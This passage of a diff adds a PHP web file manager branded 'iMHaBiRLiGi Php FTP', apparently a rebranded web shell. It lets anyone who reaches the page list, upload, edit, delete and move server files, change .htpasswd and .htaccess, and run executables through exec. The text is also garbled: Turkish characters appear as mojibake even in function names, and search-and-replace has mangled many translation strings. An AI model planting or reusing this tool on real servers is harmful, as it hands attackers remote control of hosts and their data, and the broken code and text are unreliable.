$filename); +} + +function getmimetype ($filename) { + static $mimes = array( + '\.jpg$|\.jpeg$' => 'image/jpeg', + '\.gif$' => 'image/gif', + '\.png$' => 'image/png', + '\.html$|\.html$' => 'text/html', + '\.txt$|\.asc$' => 'text/plain', + '\.xml$|\.xsl$' => 'application/xml', + '\.pdf$' => 'application/pdf' + ); + + foreach ($mimes as $regex => $mime) { + if (eregi($regex, $filename)) return $mime; + } + + // return 'application/octet-stream'; + return 'text/plain'; + +} + +function del ($file) { + global $delim; + + if (!@is_link($file) && !file_exists($file)) return false; + + if (!@is_link($file) && @is_dir($file)) { + + if ($dir = @opendir($file)) { + + $error = false; + + while (($f = readdir($dir)) !== false) { + if ($f != '.' && $f != '..' && !del($file . $delim . $f)) { + $error = true; + } + } + closedir($dir); + + if (!$error) return @rmdir($file); + + return !$error; + + } else { + return false; + } + + } else { + return @unlink($file); + } + +} + +function addslash ($directory) { + global $delim; + + if (substr($directory, -1, 1) != $delim) { + return $directory . $delim; + } else { + return $directory; + } + +} + +function relative2absolute ($string, $directory) { + + if (path_is_relative($string)) { + return simplify_path(addslash($directory) . $string); + } else { + return simplify_path($string); + } + +} + +function path_is_relative ($path) { + global $win; + + if ($win) { + return (substr($path, 1, 1) != ':'); + } else { + return (substr($path, 0, 1) != '/'); + } + +} + +function absolute2relative ($directory, $target) { + global $delim; + + $path = ''; + while ($directory != $target) { + if ($directory == substr($target, 0, strlen($directory))) { + $path .= substr($target, strlen($directory)); + break; + } else { + $path .= '..' . $delim; + $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1); + } + } + if ($path == '') $path = '.'; + + return $path; + +} + +function simplify_path ($path) { + global $delim; + + if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') { + $path = realpath($path); + if (@is_dir($path)) { + return addslash($path); + } else { + return $path; + } + } + + $pattern = $delim . '.' . $delim; + + if (@is_dir($path)) { + $path = addslash($path); + } + + while (strpos($path, $pattern) !== false) { + $path = str_replace($pattern, $delim, $path); + } + + $e = addslashes($delim); + $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e; + + while (ereg($regex, $path)) { + $path = ereg_replace($regex, $delim, $path); + } + + return $path; + +} + +function human_filesize ($filesize) { + + $suffices = 'kMGTPE'; + + $n = 0; + while ($filesize >= 1000) { + $filesize /= 1024; + $n++; + } + + $filesize = round($filesize, 3 - strpos($filesize, '.')); + + if (strpos($filesize, '.') !== false) { + while (in_array(substr($filesize, -1, 1), array('0', '.'))) { + $filesize = substr($filesize, 0, strlen($filesize) - 1); + } + } + + $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1)); + + return $filesize . " {$suffix}B"; + +} + +function strip (&$str) { + $str = stripslashes($str); +} + +/* ------------------------------------------------------------------------- */ + +function listing_page ($message = null) { + global $self, $directory, $sort, $reverse; + + html_header(); + + $list = getlist($directory); + + if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename'; + if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false; + + sortlist($list, $sort, $reverse); + + echo '<h1 style="margin-bottom: 0">iMHaBiRLiGi Php FTP</h1> + +<form enctype="multipart/form-data" action="' . $self . '" method="post"> + +<table id="main"> +'; + + directory_choice(); + + if (!empty($message)) { + spacer(); + echo $message; + } + + if (@is_writable($directory)) { + upload_box(); + create_box(); + } else { + spacer(); + } + + if ($list) { + listing($list); + } else { + echo error('not_readable', $directory); + } + + echo '</table> + +</form> + +'; + + html_footer(); + +} + +function listing ($list) { + global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self; + + echo '<tr class="listing"> + <th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th> +'; + + $d = 'dir=' . urlencode($directory) . '&amp;'; + + if (!$reverse && $sort == 'filename') $r = '&amp;reverse=true'; else $r = ''; + echo "\t<th class=\"filename\"><a href=\"$self?{$d}sort=filename$r\">" . word('filename') . "</a></th>\n"; + + if (!$reverse && $sort == 'size') $r = '&amp;reverse=true'; else $r = ''; + echo "\t<th class=\"size\"><a href=\"$self?{$d}sort=size$r\">" . word('size') . "</a></th>\n"; + + if (!$win) { + + if (!$reverse && $sort == 'permission') $r = '&amp;reverse=true'; else $r = ''; + echo "\t<th class=\"permission_header\"><a href=\"$self?{$d}sort=permission$r\">" . word('permission') . "</a></th>\n"; + + if (!$reverse && $sort == 'owner') $r = '&amp;reverse=true'; else $r = ''; + echo "\t<th class=\"owner\"><a href=\"$self?{$d}sort=owner$r\">" . word('owner') . "</a></th>\n"; + + if (!$reverse && $sort == 'group') $r = '&amp;reverse=true'; else $r = ''; + echo "\t<th class=\"group\"><a href=\"$self?{$d}sort=group$r\">" . word('group') . "</a></th>\n"; + + } + + echo ' <th class="G�revler">' . word('G�revler') . '</th> +</tr> +'; + + for ($i = 0; $i < sizeof($list); $i++) { + $file = $list[$i]; + + $timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', '; + $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', '; + $timestamps .= 'ctime: ' . date($date_format, $file['ctime']); + + echo '<tr class="listing"> + <td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td> + <td class="filename" title="' . html($timestamps) . '">'; + + if ($file['is_link']) { + + echo '<img src="' . $self . '?image=link" alt="link" /> '; + echo html($file['filename']) . ' &rarr; '; + + $real_file = relative2absolute($file['target'], $directory); + + if (@is_readable($real_file)) { + if (@is_dir($real_file)) { + echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]'; + } else { + echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>'; + } + } else { + echo html($file['target']); + } + + } elseif ($file['is_dir']) { + + echo '<img src="' . $self . '?image=folder" alt="folder" /> [ '; + if ($win || $file['is_executable']) { + echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>'; + } else { + echo html($file['filename']); + } + echo ' ]'; + + } else { + + if (substr($file['filename'], 0, 1) == '.') { + echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> '; + } else { + echo '<img src="' . $self . '?image=file" alt="file" /> '; + } + + if ($file['is_file'] && $file['is_readable']) { + echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>'; + } else { + echo html($file['filename']); + } + + } + + if ($file['size'] >= 1000) { + $human = ' title="' . human_filesize($file['size']) . '"'; + } else { + $human = ''; + } + + echo "\t<td class=\"size\"$human>{$file['size']} B</td>\n"; + + if (!$win) { + + echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">'; + + $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid()); + if ($l) echo '<a href="' . $self . '?action=permission&amp;file=' . urlencode($file['path']) . '&amp;dir=' . urlencode($directory) . '">'; + echo html(permission_octal2string($file['permission'])); + if ($l) echo '</a>'; + + echo "</td>\n"; + + if (array_key_exists('owner_name', $file)) { + echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n"; + } else { + echo "\t<td class=\"owner\">{$file['owner']}</td>\n"; + } + + if (array_key_exists('group_name', $file)) { + echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n"; + } else { + echo "\t<td class=\"group\">{$file['group']}</td>\n"; + } + + } + + echo ' <td class="G�revler"> + <input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" /> +'; + + $actions = array(); + if (function_exists('symlink')) { + $actions[] = 'create_symlink'; + } + if (@is_writable(dirname($file['path']))) { + $actions[] = 'Sil'; + $actions[] = 'Degistir'; + $actions[] = 'Tasi'; + } + if ($file['is_file'] && $file['is_readable']) { + $actions[] = 'Kopyala'; + $actions[] = 'indir'; + if ($file['is_writable']) $actions[] = 'D�zenle'; + } + if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) { + $actions[] = 'execute'; + } + + if (sizeof($actions) > 0) { + + echo ' <select class="small" name="action' . $i . '" size="1"> + <option value="">' . str_repeat('&nbsp;', 30) . '</option> +'; + + foreach ($actions as $action) { + echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n"; + } + + echo ' </select> + <input class="small" type="submit" name="submit' . $i . '" value=" &gt; " onfocus="activate(\'other\')" /> +'; + + } + + echo ' </td> +</tr> +'; + + } + + echo '<tr class="listing_footer"> + <td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt="&gt;" /></td> + <td colspan="' . ($cols - 1) . '"> + <input type="hidden" name="num" value="' . sizeof($list) . '" /> + <input type="hidden" name="focus" value="" /> + <input type="hidden" name="olddir" value="' . html($directory) . '" /> +'; + + $actions = array(); + if (@is_writable(dirname($file['path']))) { + $actions[] = 'Sil'; + $actions[] = 'Tasi'; + } + $actions[] = 'Kopyala'; + + echo ' <select class="small" name="action_all" size="1"> + <option value="">' . str_repeat('&nbsp;', 30) . '</option> +'; + + foreach ($actions as $action) { + echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n"; + } + + echo ' </select> + <input class="small" type="submit" name="submit_all" value=" &gt; " onfocus="activate(\'other\')" /> + </td> +</tr> +'; + +} + +function directory_choice () { + global $directory, $homedir, $cols, $self; + + echo '<tr> + <td colspan="' . $cols . '" id="directory"> + <a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>: + <input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" /> + <input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" /> + </td> +</tr> +'; + +} + +function upload_box () { + global $cols; + + echo '<tr> + <td colspan="' . $cols . '" id="upload"> + ' . word('file') . ': + <input type="file" name="upload" onfocus="activate(\'other\')" /> + <input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" /> + </td> +</tr> +'; + +} + +function create_box () { + global $cols; + + echo '<tr> + <td colspan="' . $cols . '" id="create"> + <select name="create_type" size="1" onfocus="activate(\'create\')"> + <option value="file">' . word('file') . '</option> + <option value="directory">' . word('directory') . '</option> + </select> + <input type="text" name="create_name" onfocus="activate(\'create\')" /> + <input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" /> + </td> +</tr> +'; + +} + +function D�zenle ($file) { + global $self, $directory, $D�zenlecols, $D�zenlerows, $apache, $htpasswd, $htaccess; + + html_header(); + + echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2> + +<form action="' . $self . '" method="post"> + +<table class="dialog"> +<tr> +<td class="dialog"> + + <textarea name="content" cols="' . $D�zenlecols . '" rows="' . $D�zenlerows . '" WRAP="off">'; + + if (array_key_exists('content', $_POST)) { + echo $_POST['content']; + } else { + $f = fopen($file, 'r'); + while (!feof($f)) { + echo html(fread($f, 8192)); + } + fclose($f); + } + + if (!empty($_POST['user'])) { + echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']); + } + if (!empty($_POST['basic_auth'])) { + if ($win) { + $authfile = str_replace('\\', '/', $directory) . $htpasswd; + } else { + $authfile = $directory . $htpasswd; + } + echo "\nAuthType Basic\nAuthName &quot;Restricted Directory&quot;\n"; + echo 'AuthUserFile &quot;' . html($authfile) . "&quot;\n"; + echo 'Require valid-user'; + } + + echo '</textarea> + + <hr /> +'; + + if ($apache && basename($file) == $htpasswd) { + echo ' + ' . word('user') . ': <input type="text" name="user" /> + ' . word('password') . ': <input type="password" name="password" /> + <input type="submit" value="' . word('add') . '" /> + + <hr /> +'; + + } + + if ($apache && basename($file) == $htaccess) { + echo ' + <input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" /> + + <hr /> +'; + + } + + echo ' + <input type="hidden" name="action" value="D�zenle" /> + <input type="hidden" name="file" value="' . html($file) . '" /> + <input type="hidden" name="dir" value="' . html($directory) . '" /> + <input type="reset" value="' . word('reset') . '" id="red_button" /> + <input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" /> + +</td> +</tr> +</table> + +<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('Geri') . ' ]</a></p> + +</form> + +'; + + html_footer(); + +} + +function spacer () { + global $cols; + + echo '<tr> + <td colspan="' . $cols . '" style="height: 1em"></td> +</tr> +'; + +} + +function textfieldsize ($content) { + + $size = strlen($content) + 5; + if ($size < 30) $size = 30; + + return $size; + +} + +function request_dump () { + + foreach ($_REQUEST as $key => $value) { + echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n"; + } + +} + +/* ------------------------------------------------------------------------- */ + +function html ($string) { + global $charset; + return htmlentities($string, ENT_COMPAT, $charset); +} + +function word ($word) { + global $words, $word_charset; + return htmlentities($words[$word], ENT_COMPAT, $word_charset); +} + +function phrase ($phrase, $arguments) { + global $words; + static $search; + + if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i"; + + for ($i = 0; $i < sizeof($arguments); $i++) { + $arguments[$i] = nl2br(html($arguments[$i])); + } + + $replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>'); + + return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase])))); + +} + +function getwords ($lang) { + global $word_charset, $date_format; + + switch ($lang) { + case 'de': + + $date_format = 'd.m.y H:i:s'; + $word_charset = 'ISO-8859-1'; + + return array( +'directory' => 'Verzeichnis', +'file' => 'Datei', +'filename' => 'Dateiname', + +'size' => 'Gr��e', +'permission' => 'Rechte', +'owner' => 'Eigner', +'group' => 'Gruppe', +'other' => 'Andere', +'G�revler' => 'Funktionen', + +'read' => 'lesen', +'write' => 'schreiben', +'execute' => 'ausf�hren', + +'create_symlink' => 'Symlink erstellen', +'Sil' => 'l�schen', +'Degistir' => 'umbenennen', +'Tasi' => 'verschieben', +'Kopyala' => 'kopieren', +'D�zenle' => 'D�zenleieren', +'indir' => 'herunterladen', +'upload' => 'hochladen', +'create' => 'erstellen', +'change' => 'wechseln', +'save' => 'speichern', +'set' => 'setze', +'reset' => 'zur�cksetzen', +'relative' => 'Pfad zum Ziel relativ', + +'yes' => 'Ja', +'no' => 'Nein', +'Geri' => 'zur�ck', +'Yol' => 'Ziel', +'symlink' => 'Symbolischer Link', +'no_output' => 'keine Ausgabe', + +'user' => 'Benutzername', +'password' => 'Kennwort', +'add' => 'hinzuf�gen', +'add_basic_auth' => 'HTTP-Basic-Auth hinzuf�gen', + +'uploaded' => '"[%1]" wurde hochgeladen.', +'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.', +'already_exists' => '"[%1]" existiert bereits.', +'created' => '"[%1]" wurde erstellt.', +'not_created' => '"[%1]" konnte nicht erstellt werden.', +'really_Sil' => 'Sollen folgende Dateien wirklich gel�scht werden?', +'Sild' => "Folgende Dateien wurden gel�scht:\n[%1]", +'not_Sild' => "Folgende Dateien konnten nicht gel�scht werden:\n[%1]", +'Degistir_file' => 'Benenne Datei um:', +'Degistird' => '"[%1]" wurde in "[%2]" umbenannt.', +'not_Degistird' => '"[%1] konnte nicht in "[%2]" umbenannt werden.', +'Tasi_files' => 'Verschieben folgende Dateien:', +'Tasid' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]", +'not_Tasid' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]", +'Kopyala_files' => 'Kopiere folgende Dateien:', +'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]", +'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]", +'not_D�zenleed' => '"[%1]" kann nicht D�zenleiert werden.', +'executed' => "\"[%1]\" wurde erfolgreich ausgef�hrt:\n{%2}", +'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgef�hrt werden:\n{%2}", +'saved' => '"[%1]" wurde gespeichert.', +'not_saved' => '"[%1]" konnte nicht gespeichert werden.', +'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.', +'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.', +'permission_for' => 'Rechte f�r "[%1]":', +'permission_set' => 'Die Rechte f�r "[%1]" wurden auf [%2] gesetzt.', +'permission_not_set' => 'Die Rechte f�r "[%1]" konnten nicht auf [%2] gesetzt werden.', +'not_readable' => '"[%1]" kann nicht gelesen werden.' + ); + + case 'fr': + + $date_format = 'd.m.y H:i:s'; + $word_charset = 'ISO-8859-1'; + + return array( +'directory' => 'R�pertoire', +'file' => 'Fichier', +'filename' => 'Nom fichier', + +'size' => 'Taille', +'permission' => 'Droits', +'owner' => 'Propri�taire', +'group' => 'Groupe', +'other' => 'Autres', +'G�revler' => 'Fonctions', + +'read' => 'Lire', +'write' => 'Ecrire', +'execute' => 'Ex�cuter', + +'create_symlink' => 'Cr�er lien symbolique', +'Sil' => 'Effacer', +'Degistir' => 'Renommer', +'Tasi' => 'D�placer', +'Kopyala' => 'Copier', +'D�zenle' => 'Ouvrir', +'indir' => 'T�l�charger sur PC', +'upload' => 'T�l�charger sur serveur', +'create' => 'Cr�er', +'change' => 'Changer', +'save' => 'Sauvegarder', +'set' => 'Ex�cuter', +'reset' => 'R�initialiser', +'relative' => 'Relatif', + +'yes' => 'Oui', +'no' => 'Non', +'Geri' => 'Retour', +'Yol' => 'Yol', +'symlink' => 'Lien symbollique', +'no_output' => 'Pas de sortie', + +'user' => 'Utilisateur', +'password' => 'Mot de passe', +'add' => 'Ajouter', +'add_basic_auth' => 'add basic-authentification', + +'uploaded' => '"[%1]" a �t� t�l�charg� sur le serveur.', +'not_uploaded' => '"[%1]" n a pas �t� t�l�charg� sur le serveur.', +'already_exists' => '"[%1]" existe d�j�.', +'created' => '"[%1]" a �t� cr��.', +'not_created' => '"[%1]" n a pas pu �tre cr��.', +'really_Sil' => 'Effacer le fichier?', +'Sild' => "Ces fichiers ont �t� d�tuits:\n[%1]", +'not_Sild' => "Ces fichiers n ont pu �tre d�truits:\n[%1]", +'Degistir_file' => 'Renomme fichier:', +'Degistird' => '"[%1]" a �t� renomm� en "[%2]".', +'not_Degistird' => '"[%1] n a pas pu �tre renomm� en "[%2]".', +'Tasi_files' => 'D�placer ces fichiers:', +'Tasid' => "Ces fichiers ont �t� d�plac�s en \"[%2]\":\n[%1]", +'not_Tasid' => "Ces fichiers n ont pas pu �tre d�plac�s en \"[%2]\":\n[%1]", +'Kopyala_files' => 'Copier ces fichiers:', +'copied' => "Ces fichiers ont �t� copi�s en \"[%2]\":\n[%1]", +'not_copied' => "Ces fichiers n ont pas pu �tre copi�s en \"[%2]\":\n[%1]", +'not_D�zenleed' => '"[%1]" ne peut �tre ouvert.', +'executed' => "\"[%1]\" a �t� brillamment ex�cut� :\n{%2}", +'not_executed' => "\"[%1]\" n a pas pu �tre ex�cut�:\n{%2}", +'saved' => '"[%1]" a �t� sauvegard�.', +'not_saved' => '"[%1]" n a pas pu �tre sauvegard�.', +'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a �t� cr�e.', +'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu �tre cr��.', +'permission_for' => 'Droits de "[%1]":', +'permission_set' => 'Droits de "[%1]" ont �t� chang�s en [%2].', +'permission_not_set' => 'Droits de "[%1]" n ont pas pu �tre chang�s en[%2].', +'not_readable' => '"[%1]" ne peut pas �tre ouvert.' + ); + + case 'it': + + $date_format = 'd-m-Y H:i:s'; + $word_charset = 'ISO-8859-1'; + + return array( +'directory' => 'Directory', +'file' => 'File', +'filename' => 'Nome File', + +'size' => 'Dimensioni', +'permission' => 'Permessi', +'owner' => 'Proprietario', +'group' => 'Gruppo', +'other' => 'Altro', +'G�revler' => 'Funzioni', + +'read' => 'leggi', +'write' => 'scrivi', +'execute' => 'esegui', + +'create_symlink' => 'crea link simbolico', +'Sil' => 'cancella', +'Degistir' => 'rinomina', +'Tasi' => 'sposta', +'Kopyala' => 'copia', +'D�zenle' => 'modifica', +'indir' => 'indir', +'upload' => 'upload', +'create' => 'crea', +'change' => 'cambia', +'save' => 'salva', +'set' => 'imposta', +'reset' => 'reimposta', +'relative' => 'Percorso relativo per la destinazione', + +'yes' => 'Si', +'no' => 'No', +'Geri' => 'indietro', +'Yol' => 'Destinazione', +'symlink' => 'Link simbolico', +'no_output' => 'no output', + +'user' => 'User', +'password' => 'Password', +'add' => 'aggiungi', +'add_basic_auth' => 'aggiungi autenticazione base', + +'uploaded' => '"[%1]" � stato caricato.', +'not_uploaded' => '"[%1]" non � stato caricato.', +'already_exists' => '"[%1]" esiste gi�.', +'created' => '"[%1]" � stato creato.', +'not_created' => '"[%1]" non � stato creato.', +'really_Sil' => 'Cancello questi file ?', +'Sild' => "Questi file sono stati cancellati:\n[%1]", +'not_Sild' => "Questi file non possono essere cancellati:\n[%1]", +'Degistir_file' => 'File rinominato:', +'Degistird' => '"[%1]" � stato rinominato in "[%2]".', +'not_Degistird' => '"[%1] non � stato rinominato in "[%2]".', +'Tasi_files' => 'Sposto questi file:', +'Tasid' => "Questi file sono stati spostati in \"[%2]\":\n[%1]", +'not_Tasid' => "Questi file non possono essere spostati in \"[%2]\":\n[%1]", +'Kopyala_files' => 'Copio questi file', +'copied' => "Questi file sono stati copiati in \"[%2]\":\n[%1]", +'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\n[%1]", +'not_D�zenleed' => '"[%1]" non pu� essere modificato.', +'executed' => "\"[%1]\" � stato eseguito con successo:\n{%2}", +'not_executed' => "\"[%1]\" non � stato eseguito con successo\n{%2}", +'saved' => '"[%1]" � stato salvato.', +'not_saved' => '"[%1]" non � stato salvato.', +'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" � stato creato.', +'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non � stato creato.', +'permission_for' => 'Permessi di "[%1]":', +'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].', +'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].', +'not_readable' => '"[%1]" non pu� essere letto.' + ); + + case 'se': + + $date_format = 'n/j/y H:i:s'; + $word_charset = 'ISO-8859-1'; + + return array( +'directory' => 'Mapp', +'file' => 'Fil', +'filename' => 'Filnamn', + +'size' => 'Storlek', +'permission' => 'S�kerhetsniv�', +'owner' => '�gare', +'group' => 'Grupp', +'other' => 'Andra', +'G�revler' => 'Funktioner', + +'read' => 'L�s', +'write' => 'Skriv', +'execute' => 'Utf�r', + +'create_symlink' => 'Skapa symlink', +'Sil' => 'Radera', +'Degistir' => 'Byt namn', +'Tasi' => 'Flytta', +'Kopyala' => 'Kopiera', +'D�zenle' => '�ndra', +'indir' => 'Ladda ner', +'upload' => 'Ladda upp', +'create' => 'Skapa', +'change' => '�ndra', +'save' => 'Spara', +'set' => 'Markera', +'reset' => 'T�m', +'relative' => 'Relative path to target', + +'yes' => 'Ja', +'no' => 'Nej', +'Geri' => 'Tillbaks', +'Yol' => 'Yol', +'symlink' => 'Symlink', +'no_output' => 'no output', + +'user' => 'Anv�ndare', +'password' => 'L�senord', +'add' => 'L�gg till', +'add_basic_auth' => 'add basic-authentification', + +'uploaded' => '"[%1]" har laddats upp.', +'not_uploaded' => '"[%1]" kunde inte laddas upp.', +'already_exists' => '"[%1]" finns redan.', +'created' => '"[%1]" har skapats.', +'not_created' => '"[%1]" kunde inte skapas.', +'really_Sil' => 'Radera dessa filer?', +'Sild' => "De h�r filerna har raderats:\n[%1]", +'not_Sild' => "Dessa filer kunde inte raderas:\n[%1]", +'Degistir_file' => 'Byt namn p� fil:', +'Degistird' => '"[%1]" har bytt namn till "[%2]".', +'not_Degistird' => '"[%1] kunde inte d�pas om till "[%2]".', +'Tasi_files' => 'Flytta dessa filer:', +'Tasid' => "Dessa filer har flyttats till \"[%2]\":\n[%1]", +'not_Tasid' => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]", +'Kopyala_files' => 'Kopiera dessa filer:', +'copied' => "Dessa filer har kopierats till \"[%2]\":\n[%1]", +'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]", +'not_D�zenleed' => '"[%1]" kan inte �ndras.', +'executed' => "\"[%1]\" har utf�rts:\n{%2}", +'not_executed' => "\"[%1]\" kunde inte utf�ras:\n{%2}", +'saved' => '"[%1]" har sparats.', +'not_saved' => '"[%1]" kunde inte sparas.', +'symlinked' => 'Symlink fr�n "[%2]" till "[%1]" har skapats.', +'not_symlinked' => 'Symlink fr�n "[%2]" till "[%1]" kunde inte skapas.', +'permission_for' => 'R�ttigheter f�r "[%1]":', +'permission_set' => 'R�ttigheter f�r "[%1]" �ndrades till [%2].', +'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].', +'not_readable' => '"[%1]" kan inte l�sas.' + ); + + case 'en': + default: + + $date_format = 'n/j/y H:i:s'; + $word_charset = 'ISO-8859-1'; + + return array( +'directory' => 'D�zergah', +'file' => 'Dosya', +'filename' => 'DosyaAdi', + +'size' => 'Boyut', +'permission' => 'izin', +'owner' => 'Sahip', +'group' => 'Grup', +'other' => 'Di�erleri', +'G�revler' => 'G�revler', + +'read' => 'Oku', +'write' => 'Yaz', +'execute' => 'Uygula', + +'create_symlink' => 'create symlink', +'Sil' => 'Sil', +'Degistir' => 'Degistir', +'Tasi' => 'Tasi', +'Kopyala' => 'Kopyala', +'D�zenle' => 'D�zenle', +'indir' => 'indir', +'upload' => 'Y�kle', +'create' => 'Olustur', +'change' => 'Degisiklik', +'save' => 'Kaydet', +'set' => 'Koyulan', +'reset' => 'Yenile', +'relative' => 'Hedefe Yolla', + +'yes' => 'Evet', +'no' => 'Hayir', +'Geri' => 'Geri', +'Yol' => 'Yol', +'symlink' => 'Symlink', +'no_output' => 'Hi�bir ��kt�', + +'user' => 'Kullan�c�', +'password' => 'Sifre', +'add' => 'Ekle', +'add_basic_auth' => 'add basic-authentification', + +'uploaded' => '"[%1]" Y�klendi.', +'not_uploaded' => '"[%1]" Y�klenemedi.', +'already_exists' => '"[%1]" �imdiden var ol.', +'created' => '"[%1]" Olusturuldu.', +'not_created' => '"[%1]" Olusturuldu.', +'really_Sil' => 'Silinen dosyalar?', +'Sild' => "Bu dosyalar,oldu Sild:\n[%1]", +'not_Sild' => "Bu dosyalar olamazd� Sild:\n[%1]", +'Degistir_file' => 'Dosyayi Degistir:', +'Degistird' => '"[%1]" Degistirildi "[%2]".', +'not_Degistird' => '"[%1] Degistirilemedi "[%2]".', +'Tasi_files' => 'Dosyayi TAsi:', +'Tasid' => "Bu Dosyalar Tasindi \"[%2]\":\n[%1]", +'not_Tasid' => "Bu Dosyalar Tasinamaz \"[%2]\":\n[%1]", +'Kopyala_files' => 'Bu Dosyalari Kopyala:', +'copied' => "Bu Dosyalar Kopyalanir \"[%2]\":\n[%1]", +'not_copied' => "Bu Dosyalar Kopyalanamaz \"[%2]\":\n[%1]", +'not_D�zenleed' => '"[%1]" D�zenle.', +'executed' => "\"[%1]\" Basarili bir sekilde Uygulandi:\n{%2}", +'not_executed' => "\"[%1]\" Basarili bir sekilde Uygulanamadi:\n{%2}", +'saved' => '"[%1]" Kurtarildi.', +'not_saved' => '"[%1]" Kurtar�lamad�.', +'symlinked' => 'Symlink "[%2]" to "[%1]" Olusturuldu.', +'not_symlinked' => 'Symlink "[%2]" to "[%1]" Olusturulamadi.', +'permission_for' => 'izin "[%1]":', +'permission_set' => 'izin "[%1]" Kopyalandi [%2].', +'permission_not_set' => 'izin "[%1]" Yapilamadi [%2].', +'not_readable' => '"[%1]" Okunamadi.' + ); + + } + +} + +function getimage ($image) { + switch ($image) { + case 'file': + return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA'); + case 'folder': + return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA'); + case 'hidden_file': + return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA'); + case 'link': + return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA'); + case 'smiley': + return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA='); + case 'arrow': + return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw=='); + } +} + +function html_header () { + global $charset; + + echo <<<END +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" + "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> +<html xmlns="http://www.w3.org/1999/xhtml"> +<head> + +<meta http-equiv="Content-Type" content="text/html; charset=$charset" /> + +<title>iMHaBiRLiGi PhpFtp</title> + +<style type="text/css"> +body { font: small sans-serif; 